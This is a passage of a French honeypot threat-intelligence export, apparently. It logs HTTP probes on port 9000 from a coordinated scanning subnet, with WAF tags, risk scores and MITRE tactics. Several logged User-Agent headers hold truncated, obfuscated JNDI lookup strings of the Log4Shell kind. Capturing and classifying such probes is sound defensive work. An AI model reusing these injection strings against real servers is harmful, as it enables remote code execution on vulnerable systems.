"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_auth_header_token",
"http_bearer_auth",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:12 UTC
TCP
9000 · HTTP
Sonde port 9000/TCP
port 9000 tcp · via HTTP:9000 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
9000
Chemin / cible
/
Preuve honeypot — Sonde port 9000/TCP
Connexion détectée sur le port 9000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_9000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61th:-p}${4:-:}${z:1:-/}${if:bg0p:-/}${0be:4:-U}${qp:rwa:-A}${vm6:-l}${z5f:-0}${l7:…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000
Accept: */*
User-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8
Requête brute (extrait)
POST / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000 Accept: */* User-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61th:-p}${4:-:}${z:1:-/}${if:bg0p:-/}${0be:4
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "3209eaaefcea84547961e1de1e26b56db768dbc0",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "146c2235505f58bc8f9a407992fd0621b60a0c91",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.795543780710977,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "24421d541809f378a94f055f49aae747dc5c0c97",
"event_fingerprint": "0c0dd7ea17d508d534a97210ab73e65299d4331d",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1e37dc6ec5347680d435958077d9cc56",
"payload_hash": "fabc9d4648923ac5156304bcbd780819",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8",
"method": "POST",
"path": "\/",
"user_agent": "${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61th:-p}${4:-:}${z:1:-\/}${if:bg0p:-\/}${0be:4:-U}${qp:rwa:-A}${vm6:-l}${z5f:-0}${l7:-c}${oc:wd:39j1:--}${${8tb:34:rl:-s}${rytv:r:-y}${pt9:q9\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61th:-p}${4:-:}${z:1:-\/}${if:bg0p:-\/}${0be:4",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61th:-p}${4:-:}${z:1:-\/}${if:bg0p:-\/}${0be:4:-U}${qp:rwa:-A}${vm6:-l}${z5f:-0}${l7:-c}${oc:wd:39j1:--}${${8tb:34:rl:-s}${rytv:r:-y}${pt9:q9\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61th:-p}${4:-:}${z:1:-\/}${if:bg0p:-\/}${0be:4",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "5a6d027f964b73a7405fb8295094d897411b25c6",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61t\u2026",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8",
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe)",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${9:930l:-j}${l:g:hr:-n}${yv:8:sk5:-d}${qw1:5:49qu:-i}${ciy:v3:env:-:}${z:e:il9m:-l}${7k:ewjo:-d}${9y:-a}${xq4g:y:61t\u2026",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${9:930l:-j}${l:g:hr:-n}${yv:8",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:11 UTC
TCP
9000 · HTTP
Sonde port 9000/TCP
port 9000 tcp · via HTTP:9000 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9000
Chemin / cible
/
Preuve honeypot — Sonde port 9000/TCP
Connexion détectée sur le port 9000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_9000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:gj6:rp:-:}${usfr:-/}${m97:-/}${6:a:-U}${uj:f:1:-A}${xnz:a:-l}${po9d:qh:z58q:-0}$…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000
Accept: */*
User-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000 Accept: */* User-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:gj6:rp:-:}${usfr:-/}${m97:-/}${6:a:-U}${uj
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204d696e494f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f786d6c0d0a436f6e74656e742d4c656e6774683a203139300d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c4c6973",
"emulator_response_len": 276,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "ae0b39aef0119fc8608687b10fa9e7a1d8bd314e",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "f2fa06392cccc05f3ba718d2d95e96ea6c4cec40",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.804748255739126,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "24421d541809f378a94f055f49aae747dc5c0c97",
"event_fingerprint": "0c0dd7ea17d508d534a97210ab73e65299d4331d",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "39a2da1b1e64a3d85ff2f29b81f4aef1",
"payload_hash": "72b68943454234902d2931ed4eb2a3e1",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${",
"method": "GET",
"path": "\/",
"user_agent": "${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:gj6:rp:-:}${usfr:-\/}${m97:-\/}${6:a:-U}${uj:f:1:-A}${xnz:a:-l}${po9d:qh:z58q:-0}${m:-c}${g:r7tg:t5zp:--}${${1pe:hp02:z5h:-s}${9qir:-y}${i\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:gj6:rp:-:}${usfr:-\/}${m97:-\/}${6:a:-U}${uj",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:gj6:rp:-:}${usfr:-\/}${m97:-\/}${6:a:-U}${uj:f:1:-A}${xnz:a:-l}${po9d:qh:z58q:-0}${m:-c}${g:r7tg:t5zp:--}${${1pe:hp02:z5h:-s}${9qir:-y}${i\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:gj6:rp:-:}${usfr:-\/}${m97:-\/}${6:a:-U}${uj",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2d54b2c7149ed72972870f64735b468ea63892cd",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:\u2026",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${",
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe)",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${gzf:-j}${vz:-n}${we8:s3:-d}${ken:4u:m:-i}${7l:2jlh:a:-:}${v:-l}${3y2n:sto:-d}${35:kfoh:7r:-a}${8:xct:kiq:-p}${dogi:\u2026",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: ${${gzf:-j}${vz:-n}${we8:s3:-d}${",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:11 UTC
TCP
9000 · HTTP
Sonde port 9000/TCP
port 9000 tcp · via HTTP:9000 · (sonde / probe)
Élevée
Moyen · 47
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
http_auth_header_token
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9000
Chemin / cible
/
Preuve honeypot — Sonde port 9000/TCP
Connexion détectée sur le port 9000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_9000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 47
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
